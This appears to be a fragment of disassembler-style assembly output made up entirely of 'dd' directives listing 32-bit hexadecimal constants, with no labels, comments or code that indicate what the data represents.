		dd 9375FA00h, 0D4291998h, 1AC200DAh, 0A6963FEEh, 0D31CBF53h
		dd 24830731h, 12DD922Eh, 0D4E3E408h, 80A8E898h,	0FDD71397h
		dd 77717719h, 9F57024Bh, 0EAC2CCE4h, 582D58Eh, 40562263h
		dd 0C1F2F7C0h, 3C3A7DC3h, 8E1E2416h, 0C8EF43E9h, 80DC5F2Bh
		dd 5A13D97Dh, 989FA0B0h, 16BB3208h, 30BC3715h, 3DC48E18h
		dd 84EA2F00h, 20DF65F8h, 99491F62h, 0FCBC99Ah, 97785C10h
		dd 94E61807h, 6580CA82h, 88EC83h, 20EEE2D2h, 0BF8DC153h
		dd 0BFFE400h, 260495B9h, 41256092h, 0DA5D535Eh,	7FEBF300h
		dd 0A93362BFh, 0A6580E66h, 18893FBBh, 0EC249C73h, 90036D11h
		dd 1249801Bh, 8E0E4DD0h, 0D89C680Ah, 309944Ah, 0FDD8E919h
		dd 57C09879h, 5412E46Fh, 600087ECh, 0D1C22B24h,	2A0924Ah
		dd 8E0F6285h, 587CB748h, 0F1221810h, 63C4B100h,	1E83B097h
		dd 6CF80040h, 0A92BFC9Ch, 3238D7F5h, 0E3A7A7E5h, 58DEB88Ch
		dd 23E0C060h, 0B13582D1h, 5EB78C00h, 0C219AE6Fh, 60AC484Dh
		dd 0D9BB9980h, 8805DD45h, 0A396E41Dh, 4C630803h, 37EAD1A1h
		dd 30553193h, 62105124h, 0B164EC00h, 0DD1FBA17h, 573B0007h
		dd 2D54B67h, 9D90969Fh,	0B979921Fh, 9430FE52h, 137137D4h
		dd 6E2A068h, 11360CC8h,	7C9605EEh, 73082D80h, 3B1665Bh
		dd 0ACF8ADBCh, 8AE08730h, 0CE7615A7h, 8396E501h, 0BD0412A6h
		dd 27E42AF4h, 4444BC05h, 6C01C77Ah, 6EB7A93Ch, 4BD0D559h
		dd 0D3D70048h, 92023AEFh, 0BC3C5A68h, 0C4374F25h, 0F851C382h
		dd 446C900Ch, 7CBCDC4Ch, 0D173B680h, 0F63093h, 0E05D439Ah
		dd 85469CD6h, 0D9EE9074h, 90D1572Dh, 1424578h, 0D633933Ch
		dd 71505156h, 0AB0C3091h, 58F0223Fh, 0ECB10218h, 74716C30h
		dd 118E1A44h, 140128C2h, 3A65B86Fh, 9BF99470h, 0CEB07E7h
		dd 90C044BEh, 182C8074h, 0DC825617h, 0DE5A7820h, 504E018Ah
		dd 30B7E95Eh, 3502904h,	0E8D3E694h, 0E553A862h,	0E71200BFh
		dd 2DEE0DADh, 0BE1E765Dh, 49076DC2h, 1EC272A0h,	4EEC5478h
		dd 96B03C60h, 0B4B8ECC9h, 9D9E8F50h, 9822FF4Ah,	42119ACh
		dd 6B0030F2h, 8D68A769h, 0FD7CD66Eh, 72F49A00h,	0ACCBFEB1h
		dd 0BC3A04F6h, 20129654h, 0BD29EB53h, 62390411h, 40F17C24h
		dd 0BDA0010Ch, 805D9601h, 0C1B96E63h, 0A9D4203Fh, 9C00EB8Fh
		dd 0E339C64Ah, 25799F40h, 0F891A66Fh, 17BD086Dh, 88CE235Ch
		dd 0B109E9D8h, 445F7654h, 0BCE02F94h, 0EC5E0C10h, 0AFB3C401h
		dd 72B42371h, 885FB0E3h, 9F140130h, 0DD4A6585h,	0A031806Fh
		dd 0B91D0EF7h, 2DCD0344h, 430433A1h, 54E2B100h,	95F1292Eh
		dd 7C70A3h, 1FDD48D1h, 0B356BA8Fh, 0EBE40411h, 0B68B1C02h
		dd 8C612395h, 0C19053C3h, 0BE688CFCh, 86D1F600h, 55DD850Bh
		dd 0A5890066h, 9692E5EEh, 0EF4C9D5h, 0E4B6EA0Bh, 99F418E8h
		dd 36C503B4h, 8C523F06h, 422B6820h, 0DD4C0887h,	0AEA38010h
		dd 0DA76A098h, 0BC8C600Fh, 842CE961h, 0C00522DCh, 64E61Dh
		dd 0BF496E73h, 3280CD5h, 0A82E838Fh, 30222A95h,	2C98B718h
		dd 820037E6h, 76296B2Eh, 66C8C1h, 0BE77B78h, 0F669A996h
		dd 17869F05h, 0A4C28E1Bh, 1E58C8A7h, 7793ECBh, 6BE1E40Ch
		dd 0EE5F2651h, 0B96F7821h, 3125A862h, 9B4B9C90h, 4DE9D30h
		dd 0D2620AA6h, 0A4B005C1h, 8700B808h, 5BC2EDFAh, 40BC548Ch
		dd 6732C4F3h, 0A008B7Dh, 822134BDh, 5A225Eh, 4C30D24Fh
		dd 0B41B02A5h, 2A00D0FCh, 5B12C7DCh, 6129B5D6h,	53111096h
		dd 44D1E02Eh, 0BDE57C12h, 0BC2D48E0h, 2614401Ch, 572C5CC2h
		dd 5A0E109Ch, 84014A54h, 1AD91B19h, 55442C6Ah, 78406CB4h
		dd 0FA99030h, 0B2AFB72Ch, 5283DA42h, 0BE98B163h, 0DC009D92h
		dd 4EE15738h, 0FA3FB9h,	0B003428Dh, 9DEC34F3h, 517DB00h
		dd 0B2EE8E1Ah, 0D84148E8h, 588496h, 0E0DC5F3Ch,	0CDFA5414h
		dd 6D17F8A4h, 90DCB7FCh, 0AA532DC2h, 654ED8A7h,	0E780CC58h
		dd 0A0146A00h, 22109297h, 0BAC79CDh, 166E6B72h,	10680099h
		dd 39EFCEB0h, 1903B75Dh, 0A136210Ch, 2AFF11C0h,	1C6790C4h
		dd 29CC103h, 0B9DCBC8h,	0BD4C7D00h, 6B4B8F84h, 29523C46h
		dd 8D63EE80h, 0D80C3054h, 910270FCh, 0EE055A3h,	44B876CBh
		dd 0DC81523Ch, 0B1E4B386h, 0A0541333h, 561C9013h, 0FC9CB98Ch
		dd 0E4D66540h, 2D1A0052h, 74229E7h, 0C206411Ch,	76BBEEB1h
		dd 0B46F3929h, 62B4884Bh, 0CE53BC88h, 0B6400F60h, 0C0E79D36h
		dd 7917FE00h, 0DFE2BB03h, 83CC073Dh, 24449976h,	0C798D023h
		dd 0E006218h, 96316988h, 0A3306BCh, 0C2F3E235h,	4F4B0F88h
		dd 62B04740h, 437C10DEh, 27B8EB27h, 0D1196B70h,	2EB009ECh
		dd 424FC004h, 5A1FEEE0h, 3FA8B984h, 4339A800h, 0EBF46F76h
		dd 5CA01924h, 6B026044h, 0E0511F65h, 0B05C7E11h, 0ECB79D80h
		dd 0A139E9E4h, 33BD1D8Fh, 0EF06FEC0h, 16DFDBFCh, 2911E3F3h
		dd 0FC616A2Ch, 0AC15EAEEh, 91688090h, 3CC836E0h, 4B4CB3D5h
		dd 69A1CD07h, 0A63B00EAh, 0A02E2E57h, 20407C0Ah, 58382Fh
		dd 0FD355C15h, 0BCA7429h, 0C4FCBD00h, 0C13EC305h, 40CC94F4h
		dd 1A82034Dh, 0EDE0DFE3h, 0E000728Dh, 6AFB9FAFh, 111291h
		dd 0CB41D586h, 7DDB5F57h, 717A5EE6h, 0B0334002h, 408C8634h
		dd 0B0769711h, 30134574h, 69E3B9B5h, 0F63B1EECh, 4414DD00h
		dd 5830A33Eh, 69C82C8Ch, 0BD4D4A80h, 2F2B5AD6h,	80EE6BBAh
		dd 0CFF5CB00h, 0BD6FC13Ah, 8819D617h, 62008D58h, 0F94EC937h
		dd 90C2BCFEh, 53C707A4h, 4512F53Eh, 1E48A67Ch, 4B015EBCh
		dd 0D11CB4BDh, 2BF26431h, 0AD006079h, 7942BBE5h, 6C75263Ch
		dd 6B640056h, 5A273D7Ch, 5F4C04BFh, 2DA4B353h, 0EA18EB34h
		dd 0CCC40B19h, 0F8F03900h, 9364605Eh, 0E5D40C29h, 262940E0h
		dd 3C94944Eh, 1D00F8E2h, 7C5789CBh, 58C42F29h, 9CE217E8h
		dd 75FD2202h, 9C62DE61h, 9E00B4F1h, 0A3D09F6Fh,	0ADDB16FFh
		dd 3B603287h, 40EB7884h, 1EC87915h, 292B19C6h, 12FC682Ch
		dd 80ACDCDCh, 8E9E5D3h,	0D416F5F4h, 0D701B1C9h,	395323Ch
		dd 63C6EC47h, 0D46944C1h, 85361102h, 0D7C76E51h, 0F3D864E0h
		dd 4824A8B0h, 0BC14B454h, 76EA0C0h, 0B8C775EFh,	0F7BE3C0Eh
		dd 90417000h, 17A59A7Ch, 0E39198B1h, 2EC02C4h, 5E58688Bh
		dd 210593A8h, 0FDD47B94h, 4A21FCEDh, 0B1E6BD00h, 7AF5232h
		dd 8B2D0759h, 41879977h, 94FC951Eh, 0A0CC21D8h,	7EBF14A3h
		dd 0BF5D7CCAh, 344CB094h, 0BDC101C8h, 971FEAAh,	7C6C3861h
		dd 83E75380h, 3A26CCE4h, 10260AA8h, 0BC81CB10h,	0D2C253AFh
		dd 8889880h, 293DA63Dh
		dd 7091A6BDh, 0FAB83460h, 99C404ACh, 0A8EAE411h, 0B01882ECh
		dd 0E874E40Ah, 30950927h, 0C6008CB1h, 98FEDF12h, 0C000337Ah
		dd 0E8CD56DAh, 5984F4h,	0DC818B5Fh, 8CE37E32h, 8AD49204h
		dd 98B56468h, 124C216Bh, 0D086C946h, 0D4B0832Fh, 0FC63A807h
		dd 2C22ECE7h, 0E5C260F2h, 24964ADFh, 1304C1E8h,	0BAC0306Ch
		dd 0E62F20BEh, 0D63809DCh, 0CC46F181h, 0BD55B601h, 1F2F92BBh
		dd 860C002Ah, 0EB0F0A96h, 12B00C50h, 2E088h, 0EC67A07Bh
		dd 6820EE17h, 0FB64A800h, 0CA5272B2h, 3B135EBAh, 0EC284AF0h
		dd 0C6C70073h, 0A7777669h, 6A00C8F1h, 37838A49h, 77E8A3ABh
		dd 165F48EEh, 1D991830h, 9648ECD7h, 0DAB8C114h,	0D09E6E27h
		dd 8BE069E4h, 1010BBCAh, 100B043h, 0C5A4C06Bh, 35BE62Eh
		dd 9DFDF17Bh, 6D9886CBh, 0F9003E5Fh, 71E275F4h,	75360E34h
		dd 8D721463h, 26130C49h, 68ECE599h, 0D78580CCh,	3FF1A4E4h
		dd 6F8B011Eh, 28A0CCE8h, 0B57C9E25h, 0BDE73C01h, 7387DAA7h
		dd 4DE6B18Bh, 10E3F899h, 0E2EA52F9h, 0CC10073h,	0FB1D11A9h
		dd 0F01DF7Ch, 0BDC82FB5h, 8070B787h, 1F7A3CE5h,	39CE0700h
		dd 0AF4D7B48h, 86265600h, 7210A0E0h, 802200EEh,	9D61D168h
		dd 0AA16858Ch, 0A42CEA25h, 651D0292h, 0B55263Fh, 4C5DA840h
		dd 40F42700h, 0F7ED6974h, 33919A7h, 21E53046h, 80202830h
		dd 9311C70Ch, 0E79A0114h, 4E3E5C66h, 80383C78h,	0EA0FDE6Bh
		dd 6DBE0015h, 4B40C4EFh, 0E30072AEh, 8039CCC8h,	60558D7Ah
		dd 13DFE1A4h, 0DB79255Fh, 57A08250h, 4494B40h, 0E41E55C9h
		dd 27D8F99Ch, 83288026h, 852FDEh, 0D55C5F90h, 0E2AA037Ch
		dd 0C5CFE400h, 99192055h, 5E985Ah, 818448Dh, 6B3839EBh
		dd 0BC41F0B6h, 571264DBh, 0C90F5DFCh, 385360A6h, 0EA83B3h
		dd 0E3F7CCCBh, 5F54F475h, 0BD48EF0Bh, 0D75C10DBh, 22700039h
		dd 9A59BF2Dh, 0E49C4AB7h, 0E1C67842h, 487EABEAh, 0ECC2B848h
		dd 826460D4h, 0B504E8BDh, 9773ACA0h, 0F639C9C0h, 0AC8612B7h
		dd 545B9400h, 25065AA0h, 0E444D1B4h, 43200E43h,	3813F4B4h
		dd 0C7BA8004h, 23F4A00h, 44C67B6h, 398317A8h, 966F2080h
		dd 8610138h, 0F960B95Bh, 6607C856h, 8608D89Ch, 55380B34h
		dd 4300A4F9h, 0FB9A998h, 0DC8E0782h, 74E92A8Ah,	0D8FD40F1h
		dd 1D6E4210h, 0F53B2Dh,	967A573Ah, 30245FF9h, 92029828h
		dd 2499CBB3h, 0AC305343h, 8A8F5Bh, 18459B41h, 6D2D177Ah
		dd 54B7D402h, 529026CCh, 0B4109040h, 0F0AC50D4h, 0CC695F01h
		dd 59922378h, 8EF433E1h, 0D99C4BE1h, 1897D808h,	2AFD301h
		dd 5B2CB8A0h, 0F5C7446Ch, 234FE0A1h, 842C370Ah,	2900C199h
		dd 28B40CF0h, 68FB1773h, 90342562h, 0AA87A0A8h,	0BD4FAB01h
		dd 6103C2D5h, 0F5E01034h, 4CB502Ch, 4705C4E8h, 6DF07A00h
		dd 4CC6E282h, 0A8851211h, 34E8C28Ah, 7E18EC21h,	78839DD7h
		dd 39B6E9BCh, 5071B5F1h, 70279F04h, 0DA569F80h,	24090080h
		dd 0C2D62C27h, 90C36F4Bh, 3AC03F5Eh, 0F4D3C6D2h, 34809538h
		dd 9EA88C69h, 0BA29E5D9h, 4A85A04Ch, 98CC348Ah,	5EE9121Ah
		dd 60E01959h, 110FD673h, 8180E5C8h, 7E06AF1Fh, 36CB1322h
		dd 0A0600048h, 8DA2F966h, 0EAEDD4FBh, 64A6670Dh, 0E2CAE8CDh
		dd 40685C20h, 7FEA2242h, 0E437A800h, 2E2124E8h,	9305127Bh
		dd 1F70093Ch, 62AC3803h, 1BEFA5B8h, 0A8FA3F00h,	33A6BB79h
		dd 45372C29h, 0FE3B3C3Fh, 0A02E2012h, 0FD08D514h, 12E11198h
		dd 466C80E0h, 50FACCECh, 0EAEC1A7Bh, 0BED5173Eh, 0A0E900C8h
		dd 3FC9C483h, 606778EDh, 0E64B181Ah, 6605BB94h,	2B59F3E2h
		dd 0EB2D7081h, 0E9EC8021h, 53E3A80h, 3CDDAD81h,	0C84CA472h
		dd 151FDC22h, 2E806792h, 51312760h, 403661DEh, 874B65h
		dd 832333F1h, 489AEAE0h, 2FF818C0h, 0FEEE0EB2h,	5CA8C291h
		dd 0B801CD50h, 0DE0238C6h, 82D71540h, 31F430C0h, 0B03E6DEFh
		dd 0FEE01989h, 3EEE812h, 2321B424h, 431D08CEh, 4DB8819h
		dd 4298C225h, 303710Ch,	23D1CB53h, 55001E4Fh, 9EF79B99h
		dd 44E8E85h, 0C154AC90h, 0B72100E2h, 0F8E08B37h, 0CC055F6Ah
		dd 4454161h, 724C88h, 23FC2F39h, 3497A1CBh, 0E99B8600h
		dd 99DBDFB7h, 517F00D8h, 0C2B88C85h, 0EC9CBF6Fh, 5606444h
		dd 0F02FE53Eh, 20188EA5h, 0BE1A2130h, 826509EEh, 6054F9D2h
		dd 0C458D811h, 371F9509h, 0CFDFE480h, 0DA12B1BDh, 8C0E1E0Fh
		dd 973BE0E1h, 90069917h, 611C38E4h, 0C9533194h,	410D0A13h
		dd 1EB0E5F0h, 0EDA020E8h, 90D37704h, 0ECC0ECCFh, 18E329BFh
		dd 2085FAA8h, 1776DD16h, 2009A429h, 0C192E8CEh,	2E61B96Fh
		dd 206A4C22h, 0E5A41A64h, 2348B407h, 0A05F60E6h, 122AEE22h
		dd 890BDC2h, 870782A8h,	0C35DCBF1h, 1193FC6h, 1106A65Bh
		dd 28318B70h, 22B0D05Ch, 0AD248868h, 9A45041Ah,	0BB8B0D5Ah
		dd 3249BC0Eh, 85C76809h, 34F40FDFh, 0F15F0081h,	10B85ABBh
		dd 0A0666212h, 221F708h, 61F2572Ch, 0B980D79Ah,	951BA37Fh
		dd 0C0461328h, 4CE95A24h, 82660B09h, 0E4043198h, 2864B038h
		dd 6CFD55A0h, 4A09F88Dh, 0A67521C0h, 0ED1AA0h, 890A3522h
		dd 0C8E52006h, 0B4F74228h, 696FD312h, 477048C1h, 169838A4h
		dd 0F9B518A3h, 0D776767Ch, 7269E509h, 0E8ECF0EDh, 0A721C01Ah
		dd 38ECD48Dh, 0BBD7E200h, 17914089h, 580760F1h,	0D80EB027h
		dd 1DB8C652h, 53068C35h, 1114DDh, 8A232876h, 314036EEh
		dd 82E9934h, 4C5780E4h,	0D1021E30h, 1334F95Bh, 0E0028889h
		dd 920019EBh, 0C24C98E1h, 1ACBE219h, 0FEB860Eh,	20F09070h
		dd 0EF1EFABEh, 5A8008A2h, 526ADF41h, 4A1000Bh, 11FBF6C3h
		dd 0EC4C5456h, 333000D8h, 0E31768FDh, 85C400ADh, 0D87CFFCDh
		dd 21000BF3h, 26F6D224h, 0F893ACh, 0CB601E09h, 0A4087DFEh
		dd 90ECAF00h, 8DBDA895h, 4472CCh, 8AA31E79h, 0E0E9E6F9h
		dd 93187DE4h, 83322BFCh, 11F20017h, 547143D2h, 731F0ECFh
		dd 0FB409344h, 9056572Dh, 7E8A00AEh, 8DC84106h,	8B6FC695h
		dd 0B1348050h, 3C184FCh, 1FB5EAF8h, 74F862BAh, 6F1CC423h
		dd 8480AA17h, 5C91E309h, 67DB07C8h, 40A68743h, 3DE70AEAh
		dd 7252891Fh, 0F53C6B00h, 0E82B9916h, 0B9A9601Fh, 65DB1236h
		dd 9EFBCB3Eh, 2D07CC13h, 26A0A4F1h, 0E8940BF6h,	80DD7283h
		dd 0FF00B12Bh, 66D14F56h, 60B2CEBFh, 8D8AB027h,	0B603924Eh
		dd 5F9FB6Dh, 2977A82Ch,	852F007Eh, 0BE25F804h, 31C2D615h
		dd 0A3A462A6h, 0F64588h, 0B76F5CF9h, 0CDC1C053h, 813A7375h
		dd 268A80A7h, 0F9ACDB1Fh, 270E3825h, 4B697403h,	63C82B8Dh
		dd 38007561h, 0AF3B0A9Ah, 0B387E8h, 8B7DE042h, 0CC73BAC9h
		dd 14D9AD00h, 51A55302h, 0E83A18F2h, 0A8B7298Ah, 84FB320Fh
		dd 8364202Ah, 0C1E475h,	512B1D68h, 6B523CCEh, 30B45937h
		dd 0A0C8FA73h, 6E8CB39h, 601A0278h, 0C11F10ECh,	4558DBA0h
		dd 4087F228h, 0EBF8B7DDh, 36D41110h, 543DD700h,	57ECD9C3h
		dd 0C36A58CFh, 0A01EEFE0h, 0A6B70Bh, 43BFA9D3h,	0CA3CC998h
		dd 9C03E3F8h, 7D7EF48Bh, 0AD3900D7h, 0A5396959h, 0B0FF1C6h
		dd 0A046123Ch, 0C05EF703h, 0D3EF008Bh, 8D47F30h, 6A3D66F1h
		dd 68E92873h, 78ED4924h, 2C4E1500h, 729B02Bh, 0C906015Fh
		dd 4DF70041h, 0EB3E2F24h, 1057002Ah, 5EAAA4F6h,	9DC51D55h
		dd 0A152009Eh, 9C7D3672h, 90068AF4h, 0B9F63056h, 5353C28h
		dd 0C74819E7h, 4D86A886h
		dd 1D880378h, 26D8D1h, 154057E1h, 6700F396h, 82168F21h
		dd 0D0C32C1Eh, 96C30411h, 10007CFDh, 985AF01Ch,	0E489E668h
		dd 0F655003Dh, 2B848636h, 0AC1EA249h, 807A591Ah, 0FFC5BC20h
		dd 0D0A1B3h, 61B8439Dh,	760654CCh, 59097E00h, 2EC7F424h
		dd 0A90A00D6h, 53FF3ED4h, 970070C3h, 0F8A19364h, 0C76DD52h
		dd 7FC418B7h, 0FD00D008h, 0DB06864Fh, 7B6B41h, 0E8D7B07Ch
		dd 0E0796D69h, 0B6F260Fh, 9F28E351h, 0AD87E00Fh, 767E1332h
		dd 5F530E36h, 53B9D300h, 22003167h, 0CDD960C9h,	0B18720h
		dd 54EA7836h, 0D2298301h, 77CBA00h, 9CE11B3h, 74330081h
		dd 6C8CA6DFh, 390CABDDh, 10A54B66h, 16100042h, 0F4AE2B2h
		dd 38002B85h, 0A9DA449Ch, 58F30ADh, 0CCA8FD58h,	3EB04C09h
		dd 430101F8h, 3BF190FAh, 81E0221Dh, 69EC003Ch, 0B3EB52E4h
		dd 1100BB78h, 5BED3BF5h, 0F3216D3h, 0F29F235Fh,	0EB0ED8D5h
		dd 0CA200C42h, 19D9CCE6h, 1082D703h, 80860AB3h,	6E3D06h
		dd 0BB8F200Dh, 0AB799532h, 1F57B8C0h, 9353BE1h,	0EEC5123h
		dd 9F3CD00h, 0AC00EB22h, 637959AFh, 1BCF8B3h, 0C487380h
		dd 612BEEA7h, 0D978E4F1h, 83A39800h, 0B4D46E3Fh, 675000D5h
		dd 6432ABBFh, 6815E575h, 11988834h, 0F41FAC96h,	0DD8F80D5h
		dd 0AF53C1B0h, 0CD8D9900h, 0FD63F01Dh, 0F6910133h, 0F47C24FFh
		dd 0A0C9DFD8h, 17D4F8BAh, 40F3FCE8h, 0C3DFC19Ch, 0D29BED01h
		dd 15BB9F3Fh, 88428C53h, 261246h, 79D8BD86h, 0EB607C9Eh
		dd 413A8C0Ch, 2FB119h, 62805082h, 1A1694F2h, 21F75700h
		dd 8FEE2911h, 9CD3036Ch, 75D5B42h, 253A7800h, 7FCBF01Bh
		dd 128E0B5Eh, 60DE673Fh, 0C2BF6500h, 912777h, 0F2632922h
		dd 88B9909Eh, 0DF09DB0Ah, 0FF08E056h, 0A2FE8269h, 0D0807D75h
		dd 4A58B828h, 8D80930Eh, 9BD520A7h, 3ACDE3h, 0F7AA2E65h
		dd 462471FDh, 7E2A1171h, 0A0718414h, 0B7F0B208h, 797708DBh
		dd 69424681h, 0BFDC656Fh, 0EB6409DEh, 300138F7h, 51B666D7h
		dd 6023C884h, 3107F282h, 0D97A2BFAh, 0C0605490h, 2DB007Dh
		dd 0D43D5EC9h, 0B800D867h, 0DDB2AD29h, 0E21347AFh, 72402E9Ah
		dd 5A161Bh, 0C148AC27h,	0C3F4118Ah, 83BBCC00h, 0D3041514h
		dd 0E3A009Fh, 36034EA4h, 8B0E896Dh, 20715150h, 6F6028E5h
		dd 5930108h, 0C71425A6h, 33B9700Bh, 0CA0029E0h,	9968D10Fh
		dd 30E1F1h, 4697DC57h, 0ABA2CB1Fh, 94041B00h, 69371C3Ah
		dd 8D66586Bh, 1FC00D00h, 6DDA0310h, 804C8239h, 22513E18h
		dd 0B0D7ED88h, 4FC42E41h, 0A02A153Ah, 0DD842E00h, 0DB09D9ECh
		dd 26568200h, 5563E62Ch, 49980060h, 0A64FF02Dh,	1C00D4A1h
		dd 0AAD9DBFDh, 0B8D83A2Ch, 2050C08Ch, 0A7336A4Eh, 18FAEC00h
		dd 690EEFC5h, 5E3F0719h, 21DCF92Dh, 80A5C7CDh, 4BCA7230h
		dd 26E887Eh, 5FB61C6Bh,	0D0685BB8h, 9C00057Fh, 3E29DB74h
		dd 9E92071h, 9790BE10h,	0C1EAB007h, 44B6756Eh, 0A03090BAh
		dd 0BA146230h, 0F8F8C6h, 4295CF55h, 0CF46D37h, 0FD14ACA3h
		dd 0C901EC40h, 0BB25EBE6h, 0D5EC5168h, 0ACA0047h, 1FB4DD9Dh
		dd 10027F7h, 6150394Eh,	13BF00Ch, 0CA3AC617h, 0E969D3BDh
		dd 1319800Dh, 0C781EE02h, 4D22628h, 19408080h, 0C8931C5h
		dd 5358180Eh, 276680E0h, 203720Fh, 561FEA3Fh, 0D0403D5Dh
		dd 0A639A7ADh, 1EA9D848h, 700B89B6h, 3D80804Dh,	2FF80Eh
		dd 5D72FC17h, 0F32D8FBBh, 0F6DDB900h, 8007CE82h, 5B20711h
		dd 4F0F9Dh, 0B9D9C858h,	0BB0002F6h, 0D77AF2ECh,	3EE4C701h
		dd 35C8C1E7h, 46641Ch, 88666D4Dh, 0B500A75Ah, 6B1CEBB2h
		dd 7E2ED10Ch, 0A1190950h, 5980897Bh, 0A9539E3Bh, 78315100h
		dd 965820FEh, 7F79396Ah, 0E0E32807h, 9261F02Fh,	260036ABh
		dd 46C45FFDh, 40ED3Dh, 12B9E0D3h, 44EB5A61h, 4303EF78h
		dd 16A29B26h, 4197D8BEh, 842B00B7h, 274BDEC2h, 0FB005332h
		dd 5C0F9B85h, 3A407654h, 0B8CC7AB8h, 498B9900h,	418FFD91h
		dd 0F0449700h, 12242E15h, 9E70047h, 33F7D6BDh, 610E2D64h
		dd 40A9C60Fh, 0C2CC0802h, 0FF0A01F2h, 16B1131Eh, 144EEC9Eh
		dd 9BB3E909h, 20670B78h, 71466A1Ch, 29A90E43h, 35CBC089h
		dd 56475C00h, 0C1000E6Bh, 0F1F2DDA7h, 242127h, 616C1041h
		dd 0B7365D8Fh, 73AB250Fh, 8AB2E0C4h, 7FE3303h, 4A4748D9h
		dd 5184E012h, 0F300A3AAh, 1CF6799Ch, 26B87EFh, 0E434C35h
		dd 78687B85h, 8B002FFAh, 231D6C4Ah, 28DAF131h, 1210810Fh
		dd 408CD3F8h, 5BF76844h, 0CF747645h, 0E0144C74h, 10FCF9h
		dd 0B67CE80Ch, 3A4427F3h, 4E02D3B4h, 0CAD487E3h, 0C8D3D40h
		dd 1D371002h, 6091BC3Eh, 365C297h, 0DBB2A948h, 8DF927h
		dd 8E5F1728h, 48008F3Eh, 0C70C1D5Ch, 223D5Bh, 15FE4F30h
		dd 0DEA084D9h, 1F5C1F3Eh, 39C17220h, 5270140Eh,	61E6AF70h
		dd 0B44888B2h, 6C83E6AFh, 6A43D7Ch, 60B08BB6h, 0B44DB8B2h
		dd 0BD30418Ah, 0AABC2139h, 4ADCA8C4h, 0E894A054h, 877500D4h
		dd 157E48C3h, 471DE0CDh, 3ACF4DDBh, 0AC9880AAh,	5E5D05h
		dd 0E7FDF802h, 4266864Ah, 138BE600h, 0ADA8647Dh, 67C0004Bh
		dd 0EAEB751Ch, 960035C1h, 79577BC4h, 824769h, 3CB9F11Fh
		dd 267EE713h, 0EF71B000h, 9B29BB40h, 1E35E27Ch,	40D45B27h
		dd 69CB8C92h, 0CF005696h, 0F228180h, 145102h, 60EDF518h
		dd 8D262ED7h, 0AD433300h, 83CD6906h, 0A467033Ch, 93D423BAh
		dd 2F219400h, 48C4F465h, 0BD7618C7h, 547419A0h,	4969D500h
		dd 8F3FFAC5h, 1BFC2AF2h, 6BFB0098h, 0E99B7428h,	54001004h
		dd 21F61116h, 0C0576DBAh, 1DFD6C18h, 7D0FA81Eh,	349BF3Eh
		dd 0C0A5E128h, 0B409FB2h, 44F1D426h, 0BBF4FC10h, 0D2A57500h
		dd 0F2B08037h, 0EC7F1EE3h, 8A0E03DDh, 287C0CFBh, 0D753EB0Fh
		dd 9A6881DEh, 998035E1h, 0ED4E6B2Ah, 68C0DC90h,	0DB616AB0h
		dd 0C2EA0094h, 0C9BAB2C8h, 0E9019881h, 0F03C6646h, 81835A44h
		dd 0CFD6B8BDh, 6B3B7000h, 0C232FFACh, 73EB1067h, 44720FD2h
		dd 0C556A058h, 0F077CC66h, 94075071h, 0F2C01F2h, 6A0E913Dh
		dd 624828D9h, 10E53490h, 9242DE49h, 7570420Ah, 0BF400398h
		dd 0C81FFEB9h, 0E8F1A8BAh, 101BF9F7h, 5CE1E534h, 50C0414Ch
		dd 0B458203Ah, 8BE06A18h, 608FE8F8h, 0F839483Eh, 7896F52Ch
		dd 0E86204A3h, 1F9848A3h, 5880EBFCh, 0A00AE6D4h, 301173Eh
		dd 0E8EA9360h, 9C207788h, 0C7913710h, 8180C829h, 71EB7BE9h
		dd 296D00E2h, 121E4F22h, 0A001F13h, 0B9F7C739h,	78DBA6h
		dd 686BAF46h, 4BE7E56h,	8000A17Fh, 0DEC4F254h, 12CE7EAh
		dd 5B87CC29h, 60F0D6DCh, 761F9C69h, 7B047EC1h, 718075C8h
		dd 0FE56CAh, 0A441923Dh, 9AE3F067h, 0E7C9E202h,	50BD556Dh
		dd 0D09702C4h, 0BA7FC303h, 68AA6640h, 9A4AB800h, 0D6D7959Eh
		dd 0DAE900B7h, 6C8F0A3Ch, 8B01ED36h, 863E1AC6h,	51D4D31Fh
		dd 8D293C26h, 3B8E608Bh, 0A4B4B880h, 25018CD5h,	0A340C099h
		dd 33E41D5Bh, 12370066h, 5EF6706Ah, 0DE00365Ch,	3BE639A7h
		dd 50817AAEh, 0B0C0C6h,	911B31C9h, 78400998h, 8AC50B02h
		dd 0E1934EC7h, 6EC45C68h, 97250048h, 0AF7099BCh, 500C2EBh
		dd 261DC914h, 3AC878h, 0BB34F219h, 66DDD184h, 0FC638B1Fh
		dd 0D9144403h, 892AD8A9h, 69813853h, 4D164C03h,	97F8F1C0h
		dd 0FC005171h, 5C1E63E1h, 5981C7h, 8C4F0242h, 40066DAFh
		dd 84BF3D05h, 80C0B5C1h
		dd 9587DBh, 683185BDh, 5E27641Eh, 28BAF500h, 30ADEFBh
		dd 2DFF3ED2h, 5D57E00h,	76D7E448h, 3417DD0Ah, 658780F7h
		dd 6DC75EACh, 7258039h,	66FA6Bh, 0A2EE3BF7h, 929ED0A3h
		dd 69BCF000h, 0BA2DA733h, 53F33DDAh, 456B5200h,	1798B81Fh
		dd 9D70B303h, 0F8DA673Dh, 1D560933h, 40AA40ADh,	791111Eh
		dd 5C006BD7h, 4979FB55h, 9C5D36h, 0EEF30D19h, 0F9123A98h
		dd 0DD07BB00h, 0ED5E6F65h, 48B301A2h, 0CAD68313h, 31EF6005h
		dd 323C63Ah, 0EC939663h, 9DC6C45Ch, 867078h, 22837898h
		dd 1BA4856Dh, 0C00E0900h, 0DFDCA9F5h, 24B400A8h, 65228664h
		dd 0D00690Ch, 7BC24253h, 165220h, 597E0FA9h, 29CDE79Dh
		dd 0EB56B100h, 9C28F3E8h, 43BE04F5h, 0C78ECCC8h, 6760301Dh
		dd 4209A946h, 0E41591h,	23707163h, 8B890006h, 0B43BFACh
		dd 4B76F3FEh, 441D3A00h, 41D20AE3h, 0F8E8001Eh,	7C2EEA4h
		dd 0D30092C7h, 5F1A29B0h, 17237785h, 8099BBh, 378B697Ah
		dd 9400C92Bh, 65CCEA4Fh, 70253F86h, 55D40009h, 8C430F11h
		dd 300D8EBh, 0ABC715B6h, 0D33EBFh, 366A5E8Dh, 31213F58h
		dd 0B82A241Dh, 0CD2D2800h, 0B5ED4Bh, 81FE139Dh,	96A089B1h
		dd 0ADB9800h, 5D74C738h, 5CB082h, 6394870h, 0AE599BB6h
		dd 0B5084907h, 0F200A3CFh, 29273FDCh, 807164h, 1B6E6783h
		dd 0BF0021D6h, 5FFA4C26h, 304CFE3h, 0D4B81C96h,	8FF0C9A2h
